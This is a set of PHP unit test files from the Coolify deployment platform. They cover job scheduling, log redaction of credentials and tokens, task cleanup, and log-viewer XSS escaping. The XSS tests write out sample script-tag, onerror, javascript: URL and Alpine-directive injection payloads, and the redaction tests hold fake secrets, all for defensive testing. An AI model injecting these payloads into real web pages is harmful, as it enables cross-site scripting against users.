$server->sentinel_updated_at = Carbon::now();
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
// Mock the Server query
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
Server::shouldReceive('get')->andReturn(collect([$server]));
// Execute the job
$job = new ServerManagerJob;
$job->handle();
// Assert CheckAndStartSentinelJob was dispatched for the sentinel-enabled server
Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) {
return $job->server->id === $server->id;
});
});
it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enabled', function () {
// Mock InstanceSettings
$settings = Mockery::mock(InstanceSettings::class);
$settings->instance_timezone = 'UTC';
$this->app->instance(InstanceSettings::class, $settings);
// Create a mock server with sentinel disabled
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('isSentinelEnabled')->andReturn(false);
$server->id = 2;
$server->name = 'test-server-no-sentinel';
$server->ip = '192.168.1.101';
$server->sentinel_updated_at = Carbon::now();
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
// Mock the Server query
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
Server::shouldReceive('get')->andReturn(collect([$server]));
// Execute the job
$job = new ServerManagerJob;
$job->handle();
// Assert CheckAndStartSentinelJob was NOT dispatched
Queue::assertNotPushed(CheckAndStartSentinelJob::class);
});
it('respects server timezone when scheduling sentinel checks', function () {
// Mock InstanceSettings
$settings = Mockery::mock(InstanceSettings::class);
$settings->instance_timezone = 'UTC';
$this->app->instance(InstanceSettings::class, $settings);
// Set test time to top of hour in America/New_York (which is 17:00 UTC)
Carbon::setTestNow('2025-01-15 17:00:00'); // 12:00 PM EST (top of hour in EST)
// Create a mock server with sentinel enabled and America/New_York timezone
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
$server->id = 3;
$server->name = 'test-server-est';
$server->ip = '192.168.1.102';
$server->sentinel_updated_at = Carbon::now();
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'America/New_York']);
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
// Mock the Server query
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
Server::shouldReceive('get')->andReturn(collect([$server]));
// Execute the job
$job = new ServerManagerJob;
$job->handle();
// Assert CheckAndStartSentinelJob was dispatched (should run at top of hour in server's timezone)
Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) {
return $job->server->id === $server->id;
});
});
it('does not dispatch sentinel check when not at top of hour', function () {
// Mock InstanceSettings
$settings = Mockery::mock(InstanceSettings::class);
$settings->instance_timezone = 'UTC';
$this->app->instance(InstanceSettings::class, $settings);
// Set test time to middle of the hour (not top of hour)
Carbon::setTestNow('2025-01-15 12:30:00');
// Create a mock server with sentinel enabled
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
$server->id = 4;
$server->name = 'test-server-mid-hour';
$server->ip = '192.168.1.103';
$server->sentinel_updated_at = Carbon::now();
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
// Mock the Server query
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
Server::shouldReceive('get')->andReturn(collect([$server]));
// Execute the job
$job = new ServerManagerJob;
$job->handle();
// Assert CheckAndStartSentinelJob was NOT dispatched (not top of hour)
Queue::assertNotPushed(CheckAndStartSentinelJob::class);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/SanitizeLogsForExportTest.php | tests/Unit/SanitizeLogsForExportTest.php | <?php
it('removes email addresses', function () {
$input = 'User email is test@example.com and another@domain.org';
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain('test@example.com');
expect($result)->not->toContain('another@domain.org');
expect($result)->toContain(REDACTED);
});
it('removes JWT/Bearer tokens', function () {
$jwt = 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U';
$input = "Authorization: {$jwt}";
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9');
expect($result)->toContain('Bearer '.REDACTED);
});
it('removes API keys with common patterns', function () {
$testCases = [
'api_key=abcdef1234567890abcdef1234567890',
'api-key: abcdef1234567890abcdef1234567890',
'apikey=abcdef1234567890abcdef1234567890',
'api_secret="abcdef1234567890abcdef1234567890"',
'secret_key=abcdef1234567890abcdef1234567890',
];
foreach ($testCases as $input) {
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain('abcdef1234567890abcdef1234567890');
expect($result)->toContain(REDACTED);
}
});
it('removes database URLs with passwords', function () {
$testCases = [
'postgres://user:secretpassword@localhost:5432/db' => 'postgres://user:'.REDACTED.'@localhost:5432/db',
'mysql://admin:mysecret123@db.example.com/app' => 'mysql://admin:'.REDACTED.'@db.example.com/app',
'mongodb://user:pass123@mongo:27017' => 'mongodb://user:'.REDACTED.'@mongo:27017',
'redis://default:redispass@redis:6379' => 'redis://default:'.REDACTED.'@redis:6379',
'rediss://default:redispass@redis:6379' => 'rediss://default:'.REDACTED.'@redis:6379',
'mariadb://root:rootpass@mariadb:3306/test' => 'mariadb://root:'.REDACTED.'@mariadb:3306/test',
];
foreach ($testCases as $input => $expected) {
$result = sanitizeLogsForExport($input);
expect($result)->toBe($expected);
}
});
it('removes private key blocks', function () {
$privateKey = <<<'KEY'
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAyZ3xL8v4xK3z9Z3
some-key-content-here
-----END RSA PRIVATE KEY-----
KEY;
$input = "Config: {$privateKey} more text";
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain('-----BEGIN RSA PRIVATE KEY-----');
expect($result)->not->toContain('MIIEowIBAAKCAQEAyZ3xL8v4xK3z9Z3');
expect($result)->toContain(REDACTED);
expect($result)->toContain('more text');
});
it('removes x-access-token from git URLs', function () {
$input = 'git clone https://x-access-token:gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx@github.com/user/repo.git';
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain('gho_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx');
expect($result)->toContain('x-access-token:'.REDACTED.'@github.com');
});
it('removes ANSI color codes', function () {
$input = "\e[32mGreen text\e[0m and \e[31mred text\e[0m";
$result = sanitizeLogsForExport($input);
expect($result)->toBe('Green text and red text');
});
it('preserves normal log content', function () {
$input = "2025-12-16T10:30:45.123456Z INFO: Application started\n2025-12-16T10:30:46.789012Z DEBUG: Processing request";
$result = sanitizeLogsForExport($input);
expect($result)->toBe($input);
});
it('handles empty string', function () {
expect(sanitizeLogsForExport(''))->toBe('');
});
it('handles multiple sensitive items in same string', function () {
$input = 'Email: user@test.com, DB: postgres://admin:secret@localhost/db, API: api_key=12345678901234567890';
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain('user@test.com');
expect($result)->not->toContain('secret');
expect($result)->not->toContain('12345678901234567890');
expect($result)->toContain(REDACTED);
});
it('removes GitHub tokens', function () {
$testCases = [
'ghp_aBcDeFgHiJkLmNoPqRsTuVwXyZ0123456789' => 'ghp_ personal access token',
'gho_aBcDeFgHiJkLmNoPqRsTuVwXyZ0123456789' => 'gho_ OAuth token',
'ghu_aBcDeFgHiJkLmNoPqRsTuVwXyZ0123456789' => 'ghu_ user-to-server token',
'ghs_aBcDeFgHiJkLmNoPqRsTuVwXyZ0123456789' => 'ghs_ server-to-server token',
'ghr_aBcDeFgHiJkLmNoPqRsTuVwXyZ0123456789' => 'ghr_ refresh token',
];
foreach ($testCases as $token => $description) {
$input = "Token: {$token}";
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain($token, "Failed to redact {$description}");
expect($result)->toContain(REDACTED);
}
});
it('removes GitLab tokens', function () {
$testCases = [
'glpat-aBcDeFgHiJkLmNoPqRsTu' => 'glpat- personal access token',
'glcbt-aBcDeFgHiJkLmNoPqRsTu' => 'glcbt- CI build token',
'glrt-aBcDeFgHiJkLmNoPqRsTuV' => 'glrt- runner token',
];
foreach ($testCases as $token => $description) {
$input = "Token: {$token}";
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain($token, "Failed to redact {$description}");
expect($result)->toContain(REDACTED);
}
});
it('removes AWS credentials', function () {
// AWS Access Key ID (starts with AKIA, ABIA, ACCA, or ASIA)
$accessKeyId = 'AKIAIOSFODNN7EXAMPLE';
$input = "AWS_ACCESS_KEY_ID={$accessKeyId}";
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain($accessKeyId);
expect($result)->toContain(REDACTED);
});
it('removes AWS secret access key', function () {
$secretKey = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY';
$input = "aws_secret_access_key={$secretKey}";
$result = sanitizeLogsForExport($input);
expect($result)->not->toContain($secretKey);
expect($result)->toContain('aws_secret_access_key='.REDACTED);
});
it('removes generic URL passwords', function () {
$testCases = [
'ftp://user:ftppass@ftp.example.com/path' => 'ftp://user:'.REDACTED.'@ftp.example.com/path',
'sftp://deploy:secret123@sftp.example.com' => 'sftp://deploy:'.REDACTED.'@sftp.example.com',
'ssh://git:sshpass@git.example.com/repo' => 'ssh://git:'.REDACTED.'@git.example.com/repo',
'amqp://rabbit:bunny123@rabbitmq:5672' => 'amqp://rabbit:'.REDACTED.'@rabbitmq:5672',
'ldap://admin:ldappass@ldap.example.com' => 'ldap://admin:'.REDACTED.'@ldap.example.com',
's3://access:secretkey@bucket.s3.amazonaws.com' => 's3://access:'.REDACTED.'@bucket.s3.amazonaws.com',
];
foreach ($testCases as $input => $expected) {
$result = sanitizeLogsForExport($input);
expect($result)->toBe($expected);
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CoolifyTaskCleanupTest.php | tests/Unit/CoolifyTaskCleanupTest.php | <?php
use App\Jobs\CoolifyTask;
it('CoolifyTask has failed method that handles cleanup', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
// Verify failed method exists
expect($reflection->hasMethod('failed'))->toBeTrue();
// Get the failed method
$failedMethod = $reflection->getMethod('failed');
// Read the method source to verify it dispatches events
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify the implementation contains event dispatch logic
expect($methodSource)
->toContain('call_event_on_finish')
->and($methodSource)->toContain('event(new $eventClass')
->and($methodSource)->toContain('call_event_data')
->and($methodSource)->toContain('Log::info');
});
it('CoolifyTask failed method updates activity status to ERROR', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$failedMethod = $reflection->getMethod('failed');
// Read the method source
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify activity status is set to ERROR
expect($methodSource)
->toContain("'status' => ProcessStatus::ERROR->value")
->and($methodSource)->toContain("'error' =>")
->and($methodSource)->toContain("'failed_at' =>");
});
it('CoolifyTask failed method has proper error handling for event dispatch', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$failedMethod = $reflection->getMethod('failed');
// Read the method source
$filename = $reflection->getFileName();
$startLine = $failedMethod->getStartLine();
$endLine = $failedMethod->getEndLine();
$source = file($filename);
$methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
// Verify try-catch around event dispatch
expect($methodSource)
->toContain('try {')
->and($methodSource)->toContain('} catch (\Throwable $e) {')
->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
});
it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
$reflection = new ReflectionClass(CoolifyTask::class);
$constructor = $reflection->getConstructor();
// Get constructor parameters
$parameters = $constructor->getParameters();
$paramNames = array_map(fn ($p) => $p->getName(), $parameters);
// Verify both parameters exist
expect($paramNames)
->toContain('call_event_on_finish')
->and($paramNames)->toContain('call_event_data');
// Verify they are public properties (constructor property promotion)
expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
expect($reflection->hasProperty('call_event_data'))->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationDeploymentEmptyEnvTest.php | tests/Unit/ApplicationDeploymentEmptyEnvTest.php | <?php
/**
* Test to verify that empty .env files are created for build packs that require them.
*
* This test verifies the fix for the issue where deploying a Docker image without
* environment variables would fail because Docker Compose expects a .env file
* when env_file: ['.env'] is specified in the compose file.
*
* The fix ensures that for 'dockerimage' and 'dockercompose' build packs,
* an empty .env file is created even when there are no environment variables defined.
*/
it('determines which build packs require empty .env file creation', function () {
// Build packs that set env_file: ['.env'] in the generated compose file
// and thus require an empty .env file even when no environment variables are defined
$buildPacksRequiringEnvFile = ['dockerimage', 'dockercompose'];
// Build packs that don't use env_file in the compose file
$buildPacksNotRequiringEnvFile = ['dockerfile', 'nixpacks', 'static'];
foreach ($buildPacksRequiringEnvFile as $buildPack) {
// Verify the condition matches our fix
$requiresEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
expect($requiresEnvFile)->toBeTrue("Build pack '{$buildPack}' should require empty .env file");
}
foreach ($buildPacksNotRequiringEnvFile as $buildPack) {
// These build packs also use env_file but call save_runtime_environment_variables()
// after generate_compose_file(), so they handle empty env files themselves
$requiresEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
expect($requiresEnvFile)->toBeFalse("Build pack '{$buildPack}' should not match the condition");
}
});
it('verifies dockerimage build pack is included in empty env file creation logic', function () {
$buildPack = 'dockerimage';
$shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
expect($shouldCreateEmptyEnvFile)->toBeTrue(
'dockerimage build pack should create empty .env file when no environment variables are defined'
);
});
it('verifies dockercompose build pack is included in empty env file creation logic', function () {
$buildPack = 'dockercompose';
$shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
expect($shouldCreateEmptyEnvFile)->toBeTrue(
'dockercompose build pack should create empty .env file when no environment variables are defined'
);
});
it('verifies other build packs are not included in empty env file creation logic', function () {
$otherBuildPacks = ['dockerfile', 'nixpacks', 'static', 'buildpack'];
foreach ($otherBuildPacks as $buildPack) {
$shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
expect($shouldCreateEmptyEnvFile)->toBeFalse(
"Build pack '{$buildPack}' should not create empty .env file in save_runtime_environment_variables()"
);
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServerStatusAccessorTest.php | tests/Unit/ServerStatusAccessorTest.php | <?php
use App\Models\Application;
use App\Models\Server;
/**
* Test the Application::serverStatus() accessor
*
* This accessor determines if the underlying server infrastructure is functional.
* It should check Server::isFunctional() for the main server and all additional servers.
* It should NOT be affected by container/application health status (e.g., degraded:unhealthy).
*
* The bug that was fixed: Previously, it checked pivot.status and returned false
* when any additional server had status != 'running', including 'degraded:unhealthy'.
* This caused false "server has problems" warnings when the server was fine but
* containers were unhealthy.
*/
it('checks server infrastructure health not container status', function () {
// This is a documentation test to explain the fix
// The serverStatus accessor should:
// 1. Check if main server is functional (Server::isFunctional())
// 2. Check if each additional server is functional (Server::isFunctional())
// 3. NOT check pivot.status (that's application/container status, not server status)
//
// Before fix: Checked pivot.status !== 'running', causing false positives
// After fix: Only checks Server::isFunctional() for infrastructure health
expect(true)->toBeTrue();
})->note('The serverStatus accessor now correctly checks only server infrastructure health, not container status');
it('has correct logic in serverStatus accessor', function () {
// Read the actual code to verify the fix
$reflection = new ReflectionClass(Application::class);
$source = file_get_contents($reflection->getFileName());
// Extract just the serverStatus accessor method
preg_match('/protected function serverStatus\(\): Attribute\s*\{.*?^\s{4}\}/ms', $source, $matches);
$serverStatusCode = $matches[0] ?? '';
expect($serverStatusCode)->not->toBeEmpty('serverStatus accessor should exist');
// Check that the new logic exists (checks isFunctional on each server)
expect($serverStatusCode)
->toContain('$main_server_functional = $this->destination?->server?->isFunctional()')
->toContain('foreach ($this->additional_servers as $server)')
->toContain('if (! $server->isFunctional())');
// Check that the old buggy logic is removed from serverStatus accessor
expect($serverStatusCode)
->not->toContain('pluck(\'pivot.status\')')
->not->toContain('str($status)->before(\':\')')
->not->toContain('if ($server_status !== \'running\')');
})->note('Verifies that the serverStatus accessor uses the correct logic');
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/LogViewerXssSecurityTest.php | tests/Unit/LogViewerXssSecurityTest.php | <?php
/**
* Security tests for log viewer XSS prevention
*
* These tests verify that the log viewer components properly sanitize
* HTML content to prevent cross-site scripting (XSS) attacks.
*/
describe('Log Viewer XSS Prevention', function () {
it('escapes script tags in log output', function () {
$maliciousLog = '<script>alert("XSS")</script>';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('<script>');
expect($escaped)->not->toContain('<script>');
});
it('escapes event handler attributes', function () {
$maliciousLog = '<img src=x onerror="alert(\'XSS\')">';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('<img');
expect($escaped)->toContain('onerror');
expect($escaped)->not->toContain('<img');
expect($escaped)->not->toContain('onerror="alert');
});
it('escapes javascript: protocol URLs', function () {
$maliciousLog = '<a href="javascript:alert(\'XSS\')">click</a>';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('<a');
expect($escaped)->toContain('javascript:');
expect($escaped)->not->toContain('<a href=');
});
it('escapes data: URLs with scripts', function () {
$maliciousLog = '<iframe src="data:text/html,<script>alert(\'XSS\')</script>">';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('<iframe');
expect($escaped)->toContain('data:');
expect($escaped)->not->toContain('<iframe');
});
it('escapes style-based XSS attempts', function () {
$maliciousLog = '<div style="background:url(\'javascript:alert(1)\')">test</div>';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('<div');
expect($escaped)->toContain('style');
expect($escaped)->not->toContain('<div style=');
});
it('escapes Alpine.js directive injection', function () {
$maliciousLog = '<div x-html="alert(\'XSS\')">test</div>';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('<div');
expect($escaped)->toContain('x-html');
expect($escaped)->not->toContain('<div x-html=');
});
it('escapes multiple HTML entities', function () {
$maliciousLog = '<>&"\'';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toBe('<>&"'');
});
it('preserves legitimate text content', function () {
$legitimateLog = 'INFO: Application started successfully';
$escaped = htmlspecialchars($legitimateLog);
expect($escaped)->toBe($legitimateLog);
});
it('handles ANSI color codes after escaping', function () {
$logWithAnsi = "\e[31mERROR:\e[0m Something went wrong";
$escaped = htmlspecialchars($logWithAnsi);
// ANSI codes should be preserved in escaped form
expect($escaped)->toContain('ERROR');
expect($escaped)->toContain('Something went wrong');
});
it('escapes complex nested HTML structures', function () {
$maliciousLog = '<div onclick="alert(1)"><img src=x onerror="alert(2)"><script>alert(3)</script></div>';
$escaped = htmlspecialchars($maliciousLog);
expect($escaped)->toContain('<div');
expect($escaped)->toContain('<img');
expect($escaped)->toContain('<script>');
expect($escaped)->not->toContain('<div');
expect($escaped)->not->toContain('<img');
expect($escaped)->not->toContain('<script>');
});
});
/**
* Tests for x-text security approach
*
* These tests verify that using x-text instead of x-html eliminates XSS risks
* by rendering all content as plain text rather than HTML.
*/
describe('x-text Security', function () {
it('verifies x-text renders content as plain text, not HTML', function () {
// x-text always renders as textContent, never as innerHTML
// This means any HTML tags in the content are displayed as literal text
$contentWithHtml = '<script>alert("XSS")</script>';
$escaped = htmlspecialchars($contentWithHtml);
// When stored in data attribute and rendered with x-text:
// 1. Server escapes to: <script>alert("XSS")</script>
// 2. Browser decodes the attribute value to: <script>alert("XSS")</script>
// 3. x-text renders it as textContent (plain text), NOT innerHTML
// 4. Result: User sees "<script>alert("XSS")</script>" as text, script never executes
expect($escaped)->toContain('<script>');
expect($escaped)->not->toContain('<script>');
});
it('confirms x-text prevents Alpine.js directive injection', function () {
$maliciousContent = '<div x-data="{ evil: true }" x-html="alert(1)">test</div>';
$escaped = htmlspecialchars($maliciousContent);
// Even if attacker includes Alpine directives in log content:
// 1. Server escapes them
// 2. x-text renders as plain text
// 3. Alpine never processes these as directives
// 4. User just sees the literal text
expect($escaped)->toContain('x-data');
expect($escaped)->toContain('x-html');
expect($escaped)->not->toContain('<div x-data=');
});
it('verifies x-text prevents event handler execution', function () {
$maliciousContent = '<img src=x onerror="alert(\'XSS\')">';
$escaped = htmlspecialchars($maliciousContent);
// With x-text approach:
// 1. Content is escaped on server
// 2. Rendered as textContent, not innerHTML
// 3. No HTML parsing means no event handlers
// 4. User sees the literal text, no image is rendered, no event fires
expect($escaped)->toContain('<img');
expect($escaped)->toContain('onerror');
expect($escaped)->not->toContain('<img');
});
it('verifies x-text prevents style-based attacks', function () {
$maliciousContent = '<style>body { display: none; }</style>';
$escaped = htmlspecialchars($maliciousContent);
// x-text renders everything as text:
// 1. Style tags never get parsed as HTML
// 2. CSS never gets applied
// 3. User just sees the literal style tag content
expect($escaped)->toContain('<style>');
expect($escaped)->not->toContain('<style>');
});
it('confirms CSS class-based highlighting is safe', function () {
// New approach uses CSS classes for highlighting instead of injecting HTML
// The 'log-highlight' class is applied via Alpine.js :class binding
// This is safe because:
// 1. Class names are controlled by JavaScript, not user input
// 2. No HTML injection occurs
// 3. CSS provides visual feedback without executing code
$highlightClass = 'log-highlight';
expect($highlightClass)->toBe('log-highlight');
expect($highlightClass)->not->toContain('<');
expect($highlightClass)->not->toContain('script');
});
it('verifies granular highlighting only marks matching text', function () {
// splitTextForHighlight() divides text into parts
// Only matching portions get highlight: true
// Each part is rendered with x-text (safe plain text)
// Highlight class applied only to matching spans
$logLine = 'ERROR: Database connection failed';
$searchQuery = 'ERROR';
// When searching for "ERROR":
// Part 1: { text: "ERROR", highlight: true } <- highlighted
// Part 2: { text: ": Database connection failed", highlight: false } <- not highlighted
// This ensures only the search term is highlighted, not the entire line
expect($logLine)->toContain($searchQuery);
expect(strlen($searchQuery))->toBeLessThan(strlen($logLine));
});
});
/**
* Integration documentation tests
*
* These tests document the expected flow of log sanitization with x-text
*/
describe('Log Sanitization Flow with x-text', function () {
it('documents the secure x-text rendering flow', function () {
$rawLog = '<script>alert("XSS")</script>';
// Step 1: Server-side escaping (PHP)
$escaped = htmlspecialchars($rawLog);
expect($escaped)->toBe('<script>alert("XSS")</script>');
// Step 2: Stored in data-log-content attribute
// <div data-log-content="<script>alert("XSS")</script>" x-text="getDisplayText($el.dataset.logContent)">
// Step 3: Client-side getDisplayText() decodes HTML entities
// const decoded = doc.documentElement.textContent;
// Result: '<script>alert("XSS")</script>' (as text string)
// Step 4: x-text renders as textContent (NOT innerHTML)
// Alpine.js sets element.textContent = decoded
// Result: Browser displays '<script>alert("XSS")</script>' as visible text
// The script tag is never parsed or executed - it's just text
// Step 5: Highlighting via CSS class
// If search query matches, 'log-highlight' class is added
// Visual feedback is provided through CSS, not HTML injection
});
it('documents search highlighting with CSS classes', function () {
$legitimateLog = '2024-01-01T12:00:00.000Z ERROR: Database connection failed';
// Server-side: Escape and store
$escaped = htmlspecialchars($legitimateLog);
expect($escaped)->toBe($legitimateLog); // No special chars
// Client-side: If user searches for "ERROR"
// 1. splitTextForHighlight() divides the text into parts:
// - Part 1: "2024-01-01T12:00:00.000Z " (highlight: false)
// - Part 2: "ERROR" (highlight: true) <- This part gets highlighted
// - Part 3: ": Database connection failed" (highlight: false)
// 2. Each part is rendered as a <span> with x-text (safe)
// 3. Only Part 2 gets the 'log-highlight' class via :class binding
// 4. CSS provides yellow/warning background color on "ERROR" only
// 5. No HTML injection occurs - just multiple safe text spans
expect($legitimateLog)->toContain('ERROR');
});
it('verifies no HTML injection occurs during search', function () {
$logWithHtml = 'User input: <img src=x onerror="alert(1)">';
$escaped = htmlspecialchars($logWithHtml);
// Even if log contains malicious HTML:
// 1. Server escapes it
// 2. x-text renders as plain text
// 3. Search highlighting uses CSS class, not HTML tags
// 4. User sees the literal text with highlight background
// 5. No script execution possible
expect($escaped)->toContain('<img');
expect($escaped)->toContain('onerror');
expect($escaped)->not->toContain('<img src=');
});
it('documents that user search queries cannot inject HTML', function () {
// User search query is only used in:
// 1. String matching (includes() check) - safe
// 2. CSS class application - safe (class name is hardcoded)
// 3. Match counting - safe (just text comparison)
// User query is NOT used in:
// 1. HTML generation - eliminated by switching to x-text
// 2. innerHTML assignment - x-text uses textContent only
// 3. DOM manipulation - only CSS classes are applied
$userSearchQuery = '<script>alert("XSS")</script>';
// The search query is used in matchesSearch() which does:
// line.toLowerCase().includes(this.searchQuery.toLowerCase())
// This is safe string comparison, no HTML parsing
expect($userSearchQuery)->toContain('<script>');
// But it's only used for string matching, never rendered as HTML
});
});
/**
* Tests for DoS prevention in HTML entity decoding
*
* These tests verify that the decodeHtml() function in the client-side JavaScript
* has proper safeguards against deeply nested HTML entities that could cause DoS.
*/
describe('HTML Entity Decoding DoS Prevention', function () {
it('documents the DoS vulnerability with unbounded decoding', function () {
// Without a max iteration limit, an attacker could provide deeply nested entities:
// &amp;amp;amp;amp;amp;amp;amp;amp;amp; (10 levels deep)
// Each iteration decodes one level, causing excessive CPU usage
$normalEntity = '&lt;script>';
// Normal case: 2-3 iterations to fully decode
expect($normalEntity)->toContain('&');
});
it('verifies max iteration limit prevents DoS', function () {
// The decodeHtml() function should have a maxIterations constant (e.g., 3)
// This ensures even with deeply nested entities, decoding stops after 3 iterations
// Preventing CPU exhaustion from malicious input
$deeplyNested = '&amp;amp;amp;amp;amp;amp;amp;lt;';
// With max 3 iterations, only first 3 levels decoded
// Remaining nesting is preserved but doesn't cause DoS
// This test documents that the limit exists
expect(strlen($deeplyNested))->toBeGreaterThan(10);
});
it('documents normal use cases work within iteration limit', function () {
// Legitimate double-encoding (common in logs): &lt;
// Iteration 1: &<
// Iteration 2: <
// Total: 2 iterations (well within limit of 3)
$doubleEncoded = '&lt;script&gt;';
expect($doubleEncoded)->toContain('&');
// Triple-encoding (rare but possible): &amp;lt;
// Iteration 1: &<
// Iteration 2: &<
// Iteration 3: <
// Total: 3 iterations (exactly at limit)
$tripleEncoded = '&amp;lt;div&amp;gt;';
expect($tripleEncoded)->toContain('&amp;');
});
it('documents that iteration limit is sufficient for real-world logs', function () {
// Analysis of real-world log encoding scenarios:
// 1. Single encoding: 1 iteration
// 2. Double encoding (logs passed through multiple systems): 2 iterations
// 3. Triple encoding (rare edge case): 3 iterations
// 4. Beyond triple encoding: Likely malicious or severely misconfigured
// The maxIterations = 3 provides:
// - Protection against DoS attacks
// - Support for all legitimate use cases
// - Predictable performance characteristics
expect(3)->toBeGreaterThanOrEqual(3); // Max iterations covers all legitimate cases
});
it('verifies decoding stops at max iterations even with malicious input', function () {
// With maxIterations = 3, decoding flow:
// Input: &amp;amp;amp;amp; (5 levels)
// Iteration 1: &amp;amp;amp;
// Iteration 2: &amp;amp;
// Iteration 3: &amp;
// Stop: Max iterations reached
// Output: & (partially decoded, but safe from DoS)
$maliciousInput = str_repeat('&', 10).'lt;script>';
// Even with 10 levels of nesting, function stops at 3 iterations
expect(strlen($maliciousInput))->toBeGreaterThan(50);
// The point is NOT that we fully decode it, but that we don't loop forever
});
it('confirms while loop condition includes iteration check', function () {
// The vulnerable code was:
// while (decoded !== prev) { ... }
//
// The fixed code should be:
// while (decoded !== prev && iterations < maxIterations) { ... }
//
// This ensures the loop ALWAYS terminates after maxIterations
$condition = 'iterations < maxIterations';
expect($condition)->toContain('maxIterations');
expect($condition)->toContain('<');
});
it('documents performance impact of iteration limit', function () {
// Without limit:
// - Malicious input: 1000+ iterations, seconds of CPU time
// - DoS attack possible with relatively small payloads
//
// With limit (maxIterations = 3):
// - Malicious input: 3 iterations max, milliseconds of CPU time
// - DoS attack prevented, performance predictable
$maxIterations = 3;
$worstCaseOps = $maxIterations * 2; // DOMParser + textContent per iteration
expect($worstCaseOps)->toBeLessThan(10); // Very low computational cost
});
it('verifies iteration counter increments correctly', function () {
// The implementation should:
// 1. Initialize: let iterations = 0;
// 2. Check: while (... && iterations < maxIterations)
// 3. Increment: iterations++;
//
// This ensures the counter actually prevents infinite loops
$initialValue = 0;
$increment = 1;
